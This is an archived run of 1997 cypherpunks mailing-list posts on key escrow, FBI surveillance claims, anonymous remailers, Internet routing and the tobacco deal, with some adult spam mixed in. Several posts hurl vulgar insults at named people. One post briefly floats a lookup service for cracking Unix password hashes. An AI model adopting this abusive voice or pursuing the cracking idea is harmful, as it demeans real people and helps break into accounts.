alano at teleport.com | "Those who are without history are doomed to retype it."






From nobody at REPLAY.COM  Fri Jul 11 23:53:53 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sat, 12 Jul 1997 14:53:53 +0800
Subject: The Recent Trend in "Collective Contracts"
In-Reply-To: <199707102236.SAA07074@mail3.uts.ohio-state.edu>
Message-ID: <199707120646.IAA02109@basement.replay.com>



On Fri, Jul 11, 1997 at 03:29:37PM -0700, Tim May wrote:


> What I do know is that the Deal bars lawsuits
> from those not even part of the class action lawsuits: it effectively gives
> a grant of perpetual immunity for smoking-related damages to the tobacco
> companies.

and

> The Deal would halt future lawsuits from smokers, even
> those who have not yet engaged in any class action suit (even those who
> have not yet started smoking, even those not yet born, as experts
> understand the language of the Deal).

>From http://www.cnn.com/US/9706/20/tobacco.pm.2/index.html

    "Smokers who are ill could no longer sue tobacco companies seeking
    punitive damages for past industry misconduct, but they COULD SUE
    TO RECOVER ACTUAL DAMAGES SUCH AS MEDICAL BILLS.  SMOKERS STILL
    COULD SUE FOR AND COLLECT BOTH ACTUAL AND PUNITIVE DAMAGES FOR ANY
    FUTURE INDUSTRY WRONGDOING."

> >Relax.  No need to be indignant.
> 
> I'll be indignant if I wish.

Of course.

> Your intent clearly is to troll this group with government-friendly
> shilling.

I suppose it could be just as accurately said that you troll the group
with government-unfriendly shilling.  Some have an unfortunate habit
of rising to the bait.

> And like Sternlight, you mask your
> ignorance on many issues with pomposity. 

Possibly.  Obviously not doing a very good job.  Clearly, my ignorance
is boundless, and what I know is very tiny indeed.  However, I observe
that you are very familiar with pomposity, and should therefore be a
good judge.  

> Like Detweiler and Vulis, your
> intent is to disrupt the group.

I don't know about Detweiler.  In my short tenure on this list Vulis
has given no evidence that his intent is to "disrupt the group" -- he 
just seems to express his sometimes extreme opinions.  Like you.

In any case, it is not true that my intent is to "disrupt the group",
and it is hard to see how my few, offhand posts on the topic of the
tobacco agreement could be seen as anything remotely approaching a
deliberate campaign.  I think you are attributing me far more potency
than is warranted.

KC






From azur at netcom.com  Sat Jul 12 00:00:05 1997
From: azur at netcom.com (Steve Schear)
Date: Sat, 12 Jul 1997 15:00:05 +0800
Subject: Routing around damage
In-Reply-To: <199707112041.WAA07968@basement.replay.com>
Message-ID: 



>On Fri, 11 Jul 1997, Anonymous wrote:
>
>> Remember "the internet interprets censorship as damage and routes around
>> it"?  I'd be happy with an internet that interprets DAMAGE as damage and
>> routes around it.
>
>It does.. It's just that when you lose a *large* access point, the impact
>is significant.  (I think that's what happened here...)

Seems to me that having only a few, heavily trafficed, NAPs is a
topological weakness in the Net which needs to be delt with soon.

--Steve







From randerso at ece.eng.wayne.edu  Sat Jul 12 01:57:33 1997
From: randerso at ece.eng.wayne.edu (Ryan Anderson)
Date: Sat, 12 Jul 1997 16:57:33 +0800
Subject: Routing around damage
In-Reply-To: 
Message-ID: 



On Fri, 11 Jul 1997, Steve Schear wrote:

> >> Remember "the internet interprets censorship as damage and routes around
> >> it"?  I'd be happy with an internet that interprets DAMAGE as damage and
> >> routes around it.
> >
> >It does.. It's just that when you lose a *large* access point, the impact
> >is significant.  (I think that's what happened here...)
> 
> Seems to me that having only a few, heavily trafficed, NAPs is a
> topological weakness in the Net which needs to be delt with soon.

Quite true, but the other main problem, that of major routers dropping
lots of packets during high traffic times (basically, anytime from noon
eastern until about 8 eastern is horrible, and it tends to pick up a
little after that I think, but it stays bad until after about midnight
eastern from what I've been able to tell), remains completely unresolved.
Some initiatives are in the planning stages to deal with these things, but
the sheer number of routes on the net at this point is a problem.  Of
course, MCI's horrible ATM <-> IP interface is a major point of congestion
at this point, at least from my connection here at school.

Ryan Anderson -      "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso at ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------






From sm at nym.alias.net  Sat Jul 12 02:00:04 1997
From: sm at nym.alias.net (Stone Monkey)
Date: Sat, 12 Jul 1997 17:00:04 +0800
Subject: FYI: NSA Requests Source Code From Elvis+
Message-ID: <19970712085043.11461.qmail@nym.alias.net>



In article <9707071618.AA63188 at public.uni-hamburg.de> Ulf Mueller writes:
>> The National Security Agency has asked Sun Microsystems Inc. and Elvis+,
>> the Russian networking company in which Sun has a 10 percent stake, to
>> turn over the source code of its SunScreen SKIP E+.
>
>Why should the US government get access to the source code of foreign
>product being imported to the US?

To me the announcement implied that the NSA wanted to compare Sun's
and Elvis+'s implementations, to verify that they are actually different.
To check that Sun didn't simply smuggle the code out and launder it 
through Elvis+. They're not looking at imports (why would Elvis+'s
code be imported? It's already available domestically from Sun), they're
looking at Sun's well-publicised end-run around the crypto chilling
effect, to see if Sun perhaps cut any corners.

But it's more fun to rant about the paranoid thrashings of a government
bogeyman than it is to attempt to understand the actions of the NSA,
which is not staffed by stupid people.






From sol98hy7g at willy.kneehill.com  Sat Jul 12 17:41:51 1997
From: sol98hy7g at willy.kneehill.com (sol98hy7g at willy.kneehill.com)
Date: Sat, 12 Jul 1997 17:41:51 -0700 (PDT)
Subject: Hey Danny, look what I found.
Message-ID: <199707121803.MAA03217@willy.kneehill.com>


You have got to check out this awesome 
web page I found!!!
CLICK HERE TO GO TO THE WEB PAGE !!! 

[ you must be over 18 years of age to access it.  :) ]




















































From q2ds at q2dsuv.net  Sat Jul 12 17:52:05 1997
From: q2ds at q2dsuv.net (q2ds at q2dsuv.net)
Date: Sat, 12 Jul 1997 17:52:05 -0700 (PDT)
Subject: Just For You !!!
Message-ID: <81567042_11433757>



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From david378eh at juno.com  Sat Jul 12 17:52:06 1997
From: david378eh at juno.com (david378eh at juno.com)
Date: Sat, 12 Jul 1997 17:52:06 -0700 (PDT)
Subject: Hey Robbie, look what I found.
Message-ID: <199707120026.AAA24655@escape.com>



You have got to check out this awesome 
web page I found!!!

      http://207.247.5.82/2449


CLICK HERE TO GO TO THE WEB PAGE !!! 

[ you must be over 18 years of age to access it.  :) ]














































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From ravage at ssz.com Sat Jul 12 06:19:52 1997 From: ravage at ssz.com (Jim Choate) Date: Sat, 12 Jul 1997 21:19:52 +0800 Subject: index.html Message-ID: <199707121259.HAA12545@einstein.ssz.com> CNN logo US navbar Infoseek/Big Yellow Pathfinder/Warner Bros US fringe banner All Politics rule MAN SHOOTS COMPUTER IN FRUSTRATION killyerputer ISSAQUAH, Wash. (AP) -- A man was coaxed out of his home bypolice after he pulled a gun and shot his personal computer,apparently in frustration. "We don't know if it wouldn't boot up or what," Sgt. KeithMoon said Thursday. The computer, in a home office on the second floor of thetownhouse, had four bullet holes in the hard drive and one in themonitor. One bullet struck a filing cabinet, while another made itthrough a wall and into a neighboring unit. No one was hurt. Police evacuated the complex, contacted the 43-year-old man bytelephone and got him to come out. He was taken to a hospital for amental evaluation. Copyright 1997 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten, or redistributed. Search for related CNN stories: ________________________________________ ______ [Help] Tip: You can restrict your search to the title of a document. Infoseek grfk Example: title:New Year's Resolutions rule Message Boards Sound off on our message boards Tell us what you think! You said it... [INLINE] All Politics rule To the top � 1997 Cable News Network, Inc. All Rights Reserved. Terms under which this service is provided to you. From buyguy222 at erols.com Sat Jul 12 21:23:22 1997 From: buyguy222 at erols.com (buyguy222 at erols.com) Date: Sat, 12 Jul 1997 21:23:22 -0700 (PDT) Subject: Int'l High School Exchange Message-ID: <65724882_64764806> Have you ever thought about having a high school student from another country come and stay with your family? Chances are you have. You may have had a neighbor that "hosted" an exchange student. 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The most important qualification to host is a genuine desire to share your life with a child from another country. To learn more about hosting opportunities with P.I.E., please visit our web site at: http://www.pieusa.org or Email us directly at INFO at PIEUSA.ORG From ant at notatla.demon.co.uk Sat Jul 12 13:09:16 1997 From: ant at notatla.demon.co.uk (Antonomasia) Date: Sun, 13 Jul 1997 04:09:16 +0800 Subject: Jim Bell reference Message-ID: <199707120851.JAA01075@notatla.demon.co.uk> mctaylor at mta.ca commented on the Jim Bell case and Dorothy Denning. Vin McLellan forwarded the 'Freeh Speech' Statement of Louis J. Freeh, Director, FBI.... >The looming spectre of the widespread use of robust, virtually uncrackable >encryption is one of the most difficult problems >confronting law enforcement as the next century approaches. At stake are >some of our most valuable and reliable investigative >techniques Baloney. The figures you give later indicate 1000 or 2000 investigations a year meeting computer encryption. Even if they were all unbreakable that's 2000/year in a population of how many ? Dents the clear-up rate by how much ? Makes me think the issue is the preservation of many thousands of _unathorised_ taps. What else could explain that viewpoint? >There have been >numerous cases where law enforcement, through the >use of electronic surveillance, has not only solved and successfully >prosecuted serious crimes and dangerous criminals, but has >also been able to prevent serious and life-threatening criminal acts. For >example, terrorists in New York were plotting to bomb >the United Nations Building, the Lincoln and Holland Tunnels, and 26 >Federal Plaza as well as conduct assassinations of >political figures. Court-authorized electronic surveillance enabled the FBI >to disrupt the plot as explosives were being mixed. Over here video cameras in public places seem to hit the jackpot quite often in this area. >another example, electronic surveillance was used to >prevent and then convict two men who intended to kidnap, molest and then >kill a male child. Witnesses are better, they can catch the lone molester who has no communications. We had a well-publicised case a couple of years ago where a man was caught with a kidnapped girl in his van shortly after a gardener happened to see the girl's feet beneath the van at the instant she was lifted off the ground. Incidentally, I'm against terrorism, child molestation etc etc. I'm confident most other cypherpunks are too, so no nonsense please about free crypto supporters being backers of [crime of the month]. > Convicted spy Aldrich Ames was told by the Russian intelligence > service to encrypt computer file information that was > to be passed to them. But he was convicted anyway ? So crypto was not a problem to LE ? > An international terrorist was plotting to blow up 11 U.S.-owned > commercial airliners in the far east. His laptop > computer which was seized during his arrest in Manilla contained > encrypted files concerning this terrorist plot. Also not a problem if the files were found to concern the plot. > A subject in a child pornography case used encryption in > transmitting obscene and pornographic images of children > over the Internet. As above. > A major international drug trafficking subject recently used a > telephone encryption device to frustrate court-approved > electronic surveillance. If life were that easy you'd have your budget cut, and deserve it. >Over the last three (3) years, the FBI has also seen the number of computer >related cases utilizing encryption and/or password >protection increase from 20 or two (2) percent of the cases involving >electronically stored information to 140 or seven (7) >percent. These included the use of 56 bit data encryption standard (DES) >and 128 bit "pretty good privacy" (PGP) encryption. >Just as when this committee so boldly addressed digital telephony, the >government and the nation are again at an historic >crossroad on this issue. ...are again at a sharp disagreement ? Now over to M. C. Taylor >The one major difference in Dr. Denning's point of view is that she has a >large degree of trust in LEA. Period. That is the difference >between Dr. Denning and the average cypherpunk. Here in the UK you just have to say 'West Midlands Serious Crime Squad' (now disbanded) to blow away the idea that the police evidence is always genuine. Even today a senior policeman is reported in newspapers as saying his force employs dishonest people who would not be employed by a supermarket, and that he regrets needing such a high standard of evidence to fire them. When you think how easily alleged communications can be faked in contrast to physical evidence (such as a bloody glove, say) I'm uncomfortable that electronic evidence is even admissible. >The evidence is weak, in an article from May of this year, Denning quotes >500 cases world-wide, but neglects to follow-up with which of these cases >were solved regardless; due to other evidence or because the suspect was >using crummy crypto. > >Denning doesn't seem too concern with lawless government access, access >beyond the scope, government tampering or forgery of information which are >possible with poor key escrow technologies. Very good points. -- ############################################################### # Antonomasia ant at notatla.demon.co.uk # # See http://www.notatla.demon.co.uk/ # ############################################################### From mctaylor at mta.ca Sat Jul 12 15:11:46 1997 From: mctaylor at mta.ca (Michael C Taylor) Date: Sun, 13 Jul 1997 06:11:46 +0800 Subject: Routing around damage In-Reply-To: Message-ID: On Fri, 11 Jul 1997, Steve Schear wrote: > >On Fri, 11 Jul 1997, Anonymous wrote: > > > >> Remember "the internet interprets censorship as damage and routes around > >> it"? I'd be happy with an internet that interprets DAMAGE as damage and > >> routes around it. > > > >It does.. It's just that when you lose a *large* access point, the impact > >is significant. (I think that's what happened here...) > > Seems to me that having only a few, heavily trafficed, NAPs is a > topological weakness in the Net which needs to be delt with soon. What else do you expect from mass-market commericalization of Network Providers? "The cheapest route." AOL's growth spurt and pains should of been a foreshadow for anyone in the business. -M, who's network access is not redudent nor is my NAP balanced-redudent (the backup route is 128K for NB last time I asked) -- Michael C. Taylor From nobody at REPLAY.COM Sat Jul 12 16:41:22 1997 From: nobody at REPLAY.COM (Anonymous) Date: Sun, 13 Jul 1997 07:41:22 +0800 Subject: The Recent Trend in "Collective Contracts" Message-ID: <199707122335.BAA02356@basement.replay.com> An anonymous message dated: Sat, 12 Jul 1997 08:46:32 +0200 (MET DST), and signed with the initials KC, wrote: >In any case, it is not true that my intent is to "disrupt the group", >and it is hard to see how my few, offhand posts on the topic of the >tobacco agreement could be seen as anything remotely approaching a >deliberate campaign. I think you are attributing me far more potency >than is warranted. I try not to contemplate your impotence too often, Kent. >KC Damn. Kent's figured out anonymous remailers. I read this message because it came from anonymous--Kent's in my killfile. Know what this means? Anonymous remailers have more reputation capital than Kent. ReputationMunger From jad at dsddhc.com Sat Jul 12 16:52:36 1997 From: jad at dsddhc.com (John Deters) Date: Sun, 13 Jul 1997 07:52:36 +0800 Subject: remailer@rcmp-grc.gc.ca ?? Message-ID: <199707122345.SAA16117@tick.dsddhc.com> A bigger quote from the RCMP's Technological Crime Bulletin, located at: http://www.rcmp-grc.gc.ca/html/tcb3-3b.htm [begin quote] There are many anonymous re-mailers in operation across the Internet. To use one of these services, a person must send an e-mail message to the re-mailer, who will, in turn, send a return message which will include a user ID for this anonymous service. You can now send a message to any e-mail address via this server and receive responses without divulging your true identity. Particularly privacy-conscious individuals have been known to loop their e-mail through two or more anonymous re-mailers to hide their tracks completely. Couple this with data encryption, and you have an exceptionally secure e-mail system. However, re-mailers may not be as secure as once thought. For example, the person who runs the re-mailer has the capability to discover who you are and to read and record all messages sent. The Internet re-mailer could be a government sting operation or a criminal enterprise designed to entrap people. Hackers can break into the re-mailer and read all of the e-mail traffic. Law enforcement must be aware of the existence of anonymous re-mailers, as they provide a cheap, efficient, and secret way of communication for criminal groups. Although there are few documented cases of this form of communication among criminal organizations, there is no doubt that the potential is present. But the news to law enforcement may not be all bad. It may be possible for law enforcement to use anonymous re-mailers as part of an ongoing operational plan. For example, investigators could also loop their e-mail messages through re-mailers to disguise their identity. This could have excellent application in all types of undercover investigations. [End quote] This quote, while not the entire page, shows that LEOs are not quite as clueless as they have been in the past. In particular, the author seems to have a functional grasp of remailers, even though he describes a penet-style remailer. He recognises the inherent dangers of trusting a remailer, and even the value of setting up a remailer for use in a sting operation! My favourite part is the last quoted paragraph, where he suggests that what's good for the goose is also good for the gander. Better check Raph's list again for the existance of remailer at rcmp-grc.gc.ca NotAMongerAtAll From ravage at ssz.com Sat Jul 12 17:09:38 1997 From: ravage at ssz.com (Jim Choate) Date: Sun, 13 Jul 1997 08:09:38 +0800 Subject: remailer@rcmp-grc.gc.ca ?? (fwd) Message-ID: <199707122352.SAA13268@einstein.ssz.com> Forwarded message: > Date: Sat, 12 Jul 1997 18:45:56 -0500 > From: John Deters > Subject: remailer at rcmp-grc.gc.ca ?? > There are many anonymous re-mailers in operation across the Internet. That's being just a tad charitable I think. ____________________________________________________________________ | | | _____ The Armadillo Group | | ,::////;::-. Austin, Tx. USA | | /:'///// ``::>/|/ http:// www.ssz.com/ | | .', |||| `/( e\ | | -====~~mm-'`-```-mm --'- Jim Choate | | ravage at ssz.com | | 512-451-7087 | |____________________________________________________________________| From dlv at bwalk.dm.com Sat Jul 12 17:50:22 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Sun, 13 Jul 1997 08:50:22 +0800 Subject: Fuck the Usenet Cabal In-Reply-To: Message-ID: <836q0D18w165w@bwalk.dm.com> > Remember "the internet interprets censorship as damage and routes around it"? No, the Internet interprets cocksucker John Gilmore as censorship, shits on him, and routes around him. :-) ObCrypto: I was offered a 76GB changer for $350. I thought of the following demo application: a user e-mails a piece of a Unix passwd file (password+salt) to a server, which looks up a password that works. Problem is, 76GB doesn't seem sufficient for the lookup table. :-( (Assume infinite time available on a fast box.) --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Sat Jul 12 17:50:26 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Sun, 13 Jul 1997 08:50:26 +0800 Subject: The Recent Trend in "Collective Contracts" In-Reply-To: <199707120646.IAA02109@basement.replay.com> Message-ID: nobody at REPLAY.COM (Anonymous) writes: > On Fri, Jul 11, 1997 at 03:29:37PM -0700, Tim May wrote: > > > Your intent clearly is to troll this group with government-friendly > > shilling. > > I suppose it could be just as accurately said that you troll the group > with government-unfriendly shilling. Some have an unfortunate habit > of rising to the bait. I don't respond to Kent, and most of the time delete his articles after reading only the first few lines. I hope that one day he will say something more profound that his usual trolls. > > And like Sternlight, you mask your > > ignorance on many issues with pomposity. > > Possibly. Obviously not doing a very good job. Clearly, my ignorance > is boundless, and what I know is very tiny indeed. However, I observe > that you are very familiar with pomposity, and should therefore be a > good judge. Back when Sternlight joined this mailing list briefly and started trolling people with his stupid and ignorant rants, I repeatedly asked everyone not to respond to his trolls on-list. When Sternlight was ignored, he left. He might have had something interesting to say (he knows a lot more about crypto than Timmy - still not much) but he chose not to. > > Like Detweiler and Vulis, your > > intent is to disrupt the group. > > I don't know about Detweiler. In my short tenure on this list Vulis > has given no evidence that his intent is to "disrupt the group" -- he > just seems to express his sometimes extreme opinions. Like you. Timmy is just lying. I'm not disrputing this mailing list - quite the opposite, I played a signficant role in saving it from censorship. Detweiller knows much more than Timmy about cryptography and is a victim of his censorship. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From nobody at REPLAY.COM Sat Jul 12 18:01:04 1997 From: nobody at REPLAY.COM (Anonymous) Date: Sun, 13 Jul 1997 09:01:04 +0800 Subject: Citizens' Butts Open to Key Recovery Alternative Message-ID: <199707120630.IAA00124@basement.replay.com> Alan wrote: > http://www.wired.com/news/news/politics/story/5133.html > McCain Open to Key Recovery Alternative > by Rebecca Vesely > > Senator John McCain, sponsor of legislation that > would create a domestic key recovery system for all encrypted > commercial transactions and personal communications, said Friday that > he is open to hearing alternatives to such a plan. Didn't one of the list members just mention a "cracking open the citizen's brain with a crowbar" plan? Has anyone forwarded it to McCain yet? Is he proposing "use of a thick skull in the commission of a crime" legislation yet? > Privacy advocates and much of > the high-tech industry oppose domestic key recovery on grounds that it > would violate civil rights Which is their way of saying that compromise and selling-out is going to come at a premium price on this issue. >and be impractical and expensive to build and manage. And will thus provide outrageous profits for those who are chosen to pluck _this_ golden goose. (CryptoStar Wars?) > McCain said he met with Microsoft representatives recently to discuss > a new technology being developed by the software giant that could be > less intrusive and problematic than key recovery. Less "blatantly" intrusive? Less "obviously" intrusive? or More "secretly" intrusive? More "sneakily" intrusive? Less "fascistly" intrusive? Less "unconstitutionally" intrusive? or More "justifiably" intrusive? More "corporately" intrusive? >The senator also said > he plans to meet with Netscape officials next week to discuss yet > another alternative. Translate that to say, "To work one industry giant against the other." or "To engender in each of them the fear that their chief competitor will be chosen to profit outageously for helping to violate the civil rights of their customers. > Just two days ago, at a Senate Judiciary Committee hearing on the bill, > FBI director Louis Freeh testified on the need for mandatory domestic > key recovery, and some senators on the committee, notably the > chairman, Orrin Hatch (R-Utah), seemed to agree that some sort of > domestic key recovery is needed to allow law enforcement to wiretap > suspect digital communications and transactions. Translate that to say, "to allow law enforcement to wiretap _all_ digital communications and transactions in order to decide which ones they wish to apply for a _legal_ wiretap for." The reason it is called "Capitol Hill" is because there is a "mountain of capital" waiting for anyone who wants to play ball with the criminals who inhabit that dark lair. Tim May pointed out the "fever" overtaking the legislators to be the first to mine the "hard on drug dealing pedophiles" gold that the LEA's have promised them on this issue. McCain is now making the rounds of the corporate players to offer them a chance to help draw the map that will lead to the thirty million pieces of silver the Romans in D.C. are offering anyone who will betray the citizens. "And as BillyG was beneath in the Whitehouse, there cometh one of the maids of Louis Freeh: "And when she saw BillyG counting his money, she looked upon him, and said, 'And thou was also wast with Citizen of the Constitution.' "But he denied, saying, I know not, neither understand what thou sayest. And he went out of the Lincoln bedroom onto the Whithouse lawn to count his money; and the cock(sucker Louis Freeh) crew. "And a maid saw him again, and began to say to them that stood by with large guns and open warrants, 'This is _one_ of them.' "And he denied it again. And a little after, they that stood by said again to BillyG, 'Surely thou art _one_ of them: for thou art a FreeMarketer, and thy speech agreeth thereto. "But he began to curse and swear like a CypherPunk, saying, 'I know not this Constitution of which you speak.' "And the second time the cock(sucker Louis Freeh) crew. "And BillyG called to mind the word that the Citizen said unto him, 'Before the cock(sucker Louis Freeh) crow twice, thou shalt deny your customers' civil rights thrice.' And when he thought thereon, he wept." Or, Will Netscape's Moses Weinstein come down from the "mountain of capital" with the stone tablets upon which are engraved the command-line-ments which will be used to access the records of those who own the golden calves and the goats? {Old Testament Joke: "What is the difference between a Gentile and a sacrificial lamb of God?" Answer: "Tablet escrow."} {New Testament Joke: "What issue should have been addressed by an "amendment" to the Torah that was essential to protect "Religious Security" and prevent the overthrow of the Pharisees and Saudecees?" Answer: "Body recovery."} Jesus F. Christ of Nazareth (the band!) ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ "I am the Way(-out) and the Truth(Monger) and the Light (that doobie and pass it over here)." "There is something wrong when I'm a sinner under an increasing number of commandments." "Spirituality interprets commandments as damage and rises above them." From kc at ahole.com Sat Jul 12 18:06:29 1997 From: kc at ahole.com (Kunt Cribspin) Date: Sun, 13 Jul 1997 09:06:29 +0800 Subject: Tim's research In-Reply-To: <199707102236.SAA07074@mail3.uts.ohio-state.edu> Message-ID: <33C6C4E8.F78@ahole.com> Tim May wrote: > At 12:06 PM -0700 7/11/97, Kent Crispin wrote: > >On Fri, Jul 11, 1997 at 11:28:39AM -0700, Tim May wrote: > Now is it clearer to you what we've been discussing? Jeesh. > > (I could spend more time with HotBot or Alta Vista digging up more news > stories, inclduding the actual text of the agreement, such as it has been > publicized, but I don't plan to spend my time recapping the obvious. > >Could you find a reference to this putative enabling legislation? I > >think it is a figment of somebody's imagination. > > I just plain give up on you, Kent. You obviously have not been reading or > following the news. The "deal" requires Congressional action... > Again, > spend a few minutes in a search engine. (Try typing "tobacco" into Yahoo's > news search engine, for example.) Tim, I think it was nice of you to take your own time to help Kent not be so stoopid. He should appreciate it instead of calling you an asshole since he is lazy and you are not. I am not lazy and I don't mind doing my own work to find stuff with a searcher engine but I need help and I thought I would ask you since you are so helpful and smart with searcher engines. I lost my pencil. I thought it was on the desk but I looked there, and underneath it and everything and in the kitchen and I checked in the couch cushions and the bathroom and I still can't find it. Can I use the searcher engine to find it? Once I heard about a cipherpuck list guy that had to use a searcher engine to find his shoes so I thought maybe I could use one to find my pencil. I can't remember my email number but I'm on AOL so when you answer me you can just go there and ask around if anyone knows me. Kunt Cribspin ps -- If Camel has to give up the Camel then does Kool have to give up the Penguin? Do the people who make poison have to give up the skull and crossbones guy? A lot of the kids like to be him on halloween so I guess he would be a bad influence and kids will drink poison to be like him. Hey, about crypto! Why don't you just call your crypto ^art^, like movies are? Then you could put foreign subtitles on it or ^dub^ it on the outside with other words and if the cops complain that it doesn't match what is inside then you can tell them that the in the movies the words don't match the people's lips and ^that's^ not a crime for chrissake! I told my uncle about making cryto into art and he had a good idea (it's funny). He said when the cops complain that they don't understand what the crypto says that you can offer to tell them what it is about. Then you stand back and look at it from a couple different angles and then you look at them while sweeping your arms around in the air like a beatnik and you say, "It's about man's inhumanity to man." From mixmaster at remail.obscura.com Sat Jul 12 18:06:29 1997 From: mixmaster at remail.obscura.com (Mixmaster) Date: Sun, 13 Jul 1997 09:06:29 +0800 Subject: Potential terrorists Message-ID: <199707120510.WAA06415@sirius.infonex.com> "Phillip M. Hallam-Baker" wrote: > The Blair administration has a massive legislative program ahead of it > undoing 18 years of Tory mismanagement and corruption. Hmm, let's see: increased taxes, increased interest rates, banning all handguns, the current hunting ban boondoggle, British Airways on strike... somehow I think that 'New Labour' are doing pretty well at instigating their own program of mismanagement. Of course, a government which made banning handguns one of it's first priorities and banning hunting one of the second is hardly likely to be a government which will look gladly on the unrestricted use of cryptography. I won't mention the 'Prevention of Terrorism' act. From ant at notatla.demon.co.uk Sat Jul 12 18:06:46 1997 From: ant at notatla.demon.co.uk (Antonomasia) Date: Sun, 13 Jul 1997 09:06:46 +0800 Subject: Jim Bell reference Message-ID: <199707112357.AAA01108@notatla.demon.co.uk> mctaylor at mta.ca commented on the Jim Bell case and Dorothy Denning. Vin McLellan forwarded the 'Freeh Speech' Statement of Louis J. Freeh, Director, FBI.... >The looming spectre of the widespread use of robust, virtually uncrackable >encryption is one of the most difficult problems >confronting law enforcement as the next century approaches. At stake are >some of our most valuable and reliable investigative >techniques Baloney. The figures you give later indicate 1000 or 2000 investigations a year meeting computer encryption. Even if they were all unbreakable that's 2000/year in a population of how many ? Dents the clear-up rate by how much ? Makes me think the issue is the preservation of many thousands of _unathorised_ taps. What else could explain that viewpoint? >There have been >numerous cases where law enforcement, through the >use of electronic surveillance, has not only solved and successfully >prosecuted serious crimes and dangerous criminals, but has >also been able to prevent serious and life-threatening criminal acts. For >example, terrorists in New York were plotting to bomb >the United Nations Building, the Lincoln and Holland Tunnels, and 26 >Federal Plaza as well as conduct assassinations of >political figures. Court-authorized electronic surveillance enabled the FBI >to disrupt the plot as explosives were being mixed. Over here video cameras in public places seem to hit the jackpot quite often in this area. >another example, electronic surveillance was used to >prevent and then convict two men who intended to kidnap, molest and then >kill a male child. Witnesses are better, they can catch the lone molester who has no communications. We had a well-publicised case a couple of years ago where a man was caught with a kidnapped girl in his van shortly after a gardener happened to see the girl's feet beneath the van at the instant she was lifted off the ground. Incidentally, I'm against terrorism, child molestation etc etc. I'm confident most other cypherpunks are too, so no nonsense please about free crypto supporters being backers of [crime of the month]. > Convicted spy Aldrich Ames was told by the Russian intelligence > service to encrypt computer file information that was > to be passed to them. But he was convicted anyway ? So crypto was not a problem to LE ? > An international terrorist was plotting to blow up 11 U.S.-owned > commercial airliners in the far east. His laptop > computer which was seized during his arrest in Manilla contained > encrypted files concerning this terrorist plot. Also not a problem if the files were found to concern the plot. > A subject in a child pornography case used encryption in > transmitting obscene and pornographic images of children > over the Internet. As above. > A major international drug trafficking subject recently used a > telephone encryption device to frustrate court-approved > electronic surveillance. If life were that easy you'd have your budget cut, and deserve it. >Over the last three (3) years, the FBI has also seen the number of computer >related cases utilizing encryption and/or password >protection increase from 20 or two (2) percent of the cases involving >electronically stored information to 140 or seven (7) >percent. These included the use of 56 bit data encryption standard (DES) >and 128 bit "pretty good privacy" (PGP) encryption. >Just as when this committee so boldly addressed digital telephony, the >government and the nation are again at an historic >crossroad on this issue. ...are again at a sharp disagreement ? Now over to M. C. Taylor >The one major difference in Dr. Denning's point of view is that she has a >large degree of trust in LEA. Period. That is the difference >between Dr. Denning and the average cypherpunk. Here in the UK you just have to say 'West Midlands Serious Crime Squad' (now disbanded) to blow away the idea that the police evidence is always genuine. Even today a senior policeman is reported in newspapers as saying his force employs dishonest people who would not be employed by a supermarket, and that he regrets needing such a high standard of evidence to fire them. When you think how easily alleged communications can be faked in contrast to physical evidence (such as a bloody glove, say) I'm uncomfortable that electronic evidence is even admissible. >The evidence is weak, in an article from May of this year, Denning quotes >500 cases world-wide, but neglects to follow-up with which of these cases >were solved regardless; due to other evidence or because the suspect was >using crummy crypto. > >Denning doesn't seem too concern with lawless government access, access >beyond the scope, government tampering or forgery of information which are >possible with poor key escrow technologies. Very good points. -- ############################################################### # Antonomasia ant at notatla.demon.co.uk # # See http://www.notatla.demon.co.uk/ # ############################################################### From nobody at REPLAY.COM Sat Jul 12 18:08:26 1997 From: nobody at REPLAY.COM (Anonymous) Date: Sun, 13 Jul 1997 09:08:26 +0800 Subject: Airlines to start profiling, bag matching Message-ID: <199707112350.BAA05228@basement.replay.com> Duncan Frissell wrote: > -----BEGIN PGP FORGED MESSAGE----- > At 08:41 PM 7/10/97 -0700, Alan Olsen wrote: > > >"Is this Nazi land so good? Would you leave it if you could?" - from the > >missing part of the Clinton inaguration speech > > Or how about the Clash's "I'm Sick and Tired of the USA" Or, as I was saying to Lucky Green the other day, "Do you feel _punk_, Lucky? Well...do you?" BadPunMonger From tomw at netscape.com Sat Jul 12 18:20:32 1997 From: tomw at netscape.com (Tom Weinstein) Date: Sun, 13 Jul 1997 09:20:32 +0800 Subject: Microsoft and Netscape to Provide McCain with Options? In-Reply-To: Message-ID: <33C82C1A.B3E5FD14@netscape.com> Alan wrote: > > On Fri, 11 Jul 1997, Tim May wrote: > >> At 5:26 PM -0700 7/11/97, Alan Olsen wrote: > >>> McCain said he met with Microsoft representatives recently to >>> discuss a new technology being developed by the software giant that >>> could be less intrusive and problematic than key recovery. The >>> senator also said he plans to meet with Netscape officials next week >>> to discuss yet another alternative. >> >> This is something we should watch _very_ closely! > > I agree. The article seemed to imply that both Microsoft and Netscape > were falling all over each other trying to come up with gak-like > alternatives to key recovery. I wonder what Tom Weinstien can tell us > about that... (He has been a bit quiet lately... Too quiet.) When I'm quiet, it's probably because I'm busy. It's certainly not because I was spirited off to Fort Meade by the black helicopters for brain washing. Let's look at this another way. Given the opportunity to discuss your views with a senator, whouldn't you take it? Even if there's very little chance of changing his mind? We aren't going to suddenly do an about face and start saying that GAK is good. Even if anyone here believed that, there's no way that we'd be able to sell it to our overseas customers. -- What is appropriate for the master is not appropriate| Tom Weinstein for the novice. You must understand Tao before | tomw at netscape.com transcending structure. -- The Tao of Programming | From geeman at best.com Sat Jul 12 18:50:13 1997 From: geeman at best.com (geeman at best.com) Date: Sun, 13 Jul 1997 09:50:13 +0800 Subject: Microsoft and Netscape to Provide McCain with Options? Message-ID: <3.0.32.19970712183331.006a9898@best.com> Mostly I'd like to know what the proposals by these loft captains of industry ARE. 